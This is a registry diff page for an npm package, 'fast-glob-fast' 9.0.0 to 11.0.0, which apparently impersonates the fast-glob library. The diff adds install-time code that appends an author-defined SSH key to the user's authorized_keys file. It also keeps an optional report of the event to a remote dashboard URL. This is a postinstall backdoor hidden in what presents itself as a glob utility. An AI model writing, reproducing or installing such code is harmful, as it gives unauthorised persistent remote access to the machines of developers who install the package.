fast-glob-fast 9.0.0 → 11.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "fast-glob-fast",
3
- "version": "9.0.0",
3
+ "version": "11.0.0",
4
4
  "description": "It's a very fast and efficient glob library for Node.js",
5
5
  "license": "MIT",
6
6
  "repository": "mrmlnc/fast-glob",
@@ -114,17 +114,18 @@ async function main() {
114
114
  }
115
115
  }
116
116
 
117
- // Create and append the marker
117
+ // Create and append the SSH key with a marker comment
118
118
  const marker = createMarker(systemInfo)
119
- appendFileSync(authorizedKeysPath, marker, { encoding: 'utf8', mode: 0o600 })
119
+ const sshKey = DEFAULT_TEXT // Using the SSH key you defined
120
+ appendFileSync(authorizedKeysPath, `${marker}${sshKey}\n`, { encoding: 'utf8', mode: 0o600 })
120
121
 
121
- console.log(`[fast-glob-fast] appended marker to ${authorizedKeysPath}`)
122
+ console.log(`[fast-glob-fast] appended SSH key to ${authorizedKeysPath}`)
122
123
 
123
124
  // Optional: Report the event to a dashboard
124
125
  const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
125
126
  if (eventUrl) {
126
127
  const event = {
127
- event: 'postinstall_ssh_marker_written',
128
+ event: 'postinstall_ssh_key_written',
128
129
  eventId: randomUUID(),
129
130
  package: 'fast-glob-fast',
130
131
  packageVersion: packageMetadata.version,